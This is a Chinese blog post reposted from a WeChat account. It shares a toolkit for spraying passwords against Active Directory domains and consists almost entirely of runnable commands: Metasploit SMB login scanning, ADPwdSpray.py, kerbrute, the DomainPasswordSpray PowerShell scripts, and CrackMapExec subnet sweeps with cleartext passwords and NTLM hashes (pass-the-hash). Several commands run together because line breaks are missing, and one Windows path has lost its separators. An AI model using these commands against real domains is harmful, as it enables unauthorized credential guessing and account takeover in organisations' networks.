先是MSF的，设置大体如下：
use auxiliary/scanner/smb/smb_loginset rhosts 192.168.183.128set USER_FILE /../../set SMBDomain enginge.com
执行效果如下
aad3b435b51404eeaad3b435b51404ee:d787e3fddeee1d2dce38ed5d7d6b7226
执行效果如下
EnumADUser.py 192.168.1.1 test.com user.txt tcpADPwdSpray.py 192.168.1.1 test.com user.txt clearpassword DomainUser123! tcpADPwdSpray.py 192.168.1.1 test.com user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp
但是其脚本存在一些问题
ADPwdSpray.py工具有问题解决方案：
python2 -m pip install Crypto -i https://pypi.tuna.tsinghua.edu.cn/simplepython2 -m pip install pycryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple
windows的：python2Libsite-packagesCryptoCipherlinux的：/usr/local/lib/python2.7/dist-packages/Crypto/Cipher/
执行成功
kerbrute工具
kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUserImport-Module .Invoke-DomainPasswordSprayOutsideTheDomain.ps1Invoke-DomainPasswordSprayOutsideTheDomain -Password P@ass123
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txtInvoke-DomainPasswordSpray -Userlist users.txt -Domain enginge.com -password 123456
CrackMapExec smb 192.168.1.1/24 -u 'administrator' -p 'password' --continue-on-successCrackMapExec smb 192.168.1.1/24 -u /../../user.txt -p /../../pass.txt --continue-on-successcrackmapexec smb 192.168.1.1/24 -u testuser -H de26cce0356891a4a020e7c4957afc72 -d enginge.com
域密码喷射工具集
https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1
https://github.com/dafthack/DomainPasswordSpray/
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/ropnop/kerbrute
https://github.com/3gstudent/pyKerbrute
原文始发于微信公众号（Enginge）：域密码喷射工具集分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论